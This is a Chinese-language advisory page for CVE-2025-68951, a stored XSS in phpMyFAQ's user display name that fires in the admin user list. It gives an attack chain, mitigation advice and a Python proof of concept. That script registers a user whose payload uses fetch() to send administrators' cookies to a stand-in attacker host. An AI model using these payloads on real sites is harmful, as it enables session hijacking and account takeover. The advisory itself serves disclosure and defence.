IPBUF安全漏洞报告
English
CVE-2025-68951 CVSS 5.4 中危

CVE-2025-68951 phpMyFAQ存储型XSS漏洞

披露日期: 2025-12-29

漏洞信息

漏洞编号
CVE-2025-68951
漏洞类型
存储型跨站脚本攻击(XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
phpMyFAQ

相关标签

存储型XSSCVE-2025-68951phpMyFAQ跨站脚本攻击Web应用安全权限提升中危漏洞管理后台攻击

漏洞概述

phpMyFAQ是一款开源的FAQ(常见问题解答)Web应用程序。在4.0.14和4.0.15版本中,存在一个严重的存储型跨站脚本(Stored XSS)漏洞。该漏洞允许未经认证的攻击者通过注册账户时在显示名称中嵌入恶意HTML实体来触发漏洞。当具有管理员权限的用户访问管理后台的用户列表时,这些恶意payload会在服务器端被解码并直接渲染到页面上,而没有进行适当的安全转义处理。这导致攻击者能够在管理员的浏览器上下文中执行任意JavaScript代码,从而可能窃取管理员会话、篡改后台数据或执行其他恶意操作。漏洞的利用无需特殊权限,普通用户即可发起攻击,但需要管理员访问管理界面才能触发payload执行。该漏洞已在4.0.16版本中得到修复。

技术细节

该存储型XSS漏洞源于phpMyFAQ在处理用户显示名称时的不当输入验证。具体来说,当用户注册账户时,系统允许在display name字段中包含HTML实体编码的恶意脚本。问题出在管理后台的用户列表展示逻辑中,服务器端在将数据显示给管理员之前进行了HTML解码操作,但解码后直接输出而未进行任何转义或安全过滤。例如,攻击者可以注册一个包含如<img src=x onerror=alert(document.cookie)>的用户名,该payload被存储时可能经过HTML编码,但当管理员查看用户列表时,服务器解码后直接输出到HTML页面中,导致JavaScript代码在管理员浏览器中执行。这种攻击方式特别危险,因为存储型XSS的payload会持久存在于数据库中,所有访问该页面的管理员都会受到影响。攻击者可以利用此漏洞获取管理员权限、窃取敏感信息或进行进一步的内网渗透。

攻击链分析

STEP 1
步骤1
攻击者访问目标phpMyFAQ网站的用户注册页面
STEP 2
步骤2
攻击者使用包含XSS payload的用户名进行注册,payload示例:<img src=x onerror=alert(document.cookie)>
STEP 3
步骤3
系统将用户信息(包括恶意payload)存储到数据库中
STEP 4
步骤4
管理员登录管理后台,访问用户管理或用户列表页面
STEP 5
步骤5
服务器从数据库读取用户数据,在输出前进行HTML解码但未进行安全转义
STEP 6
步骤6
恶意JavaScript代码在管理员浏览器中执行,攻击者获得管理员会话或敏感信息

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-68951 Stored XSS PoC for phpMyFAQ 4.0.14/4.0.15 # Target: phpMyFAQ installation # Attack: Register user with XSS payload in display name TARGET_URL = "http://target-site.com/phpmyfaq" ATTACKER_USERNAME = "attacker_user" ATTACKER_PASSWORD = "Password123!" XSS_PAYLOAD = '<img src=x onerror="fetch(\'https://attacker.com/steal?c=\'+document.cookie)">' def register_malicious_user(): """Register a new user with XSS payload in display name""" register_url = f"{TARGET_URL}/api/user/register" # Payload data with XSS in display name data = { "username": ATTACKER_USERNAME, "password": ATTACKER_PASSWORD, "email": "[email protected]", "display_name": XSS_PAYLOAD, "confirm_password": ATTACKER_PASSWORD } headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0" } try: response = requests.post(register_url, json=data, headers=headers, timeout=10) print(f"[*] Registration Response: {response.status_code}") if response.status_code == 201: print("[+] Malicious user registered successfully") print(f"[*] XSS Payload: {XSS_PAYLOAD}") print("[*] Wait for admin to view user list in admin panel") else: print(f"[-] Registration failed: {response.text}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": print("=" * 60) print("CVE-2025-68951 phpMyFAQ Stored XSS PoC") print("=" * 60) register_malicious_user()

影响范围

phpMyFAQ < 4.0.14
phpMyFAQ 4.0.14
phpMyFAQ 4.0.15

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1)禁用或限制用户注册功能;2)实施严格的用户名过滤规则,禁止特殊字符;3)在Web应用防火墙(WAF)层面添加XSS防护规则;4)提醒管理员在查看用户列表时提高警惕;5)增加对管理后台的访问监控和告警机制。建议尽快升级到官方发布的4.0.16版本以彻底修复此漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表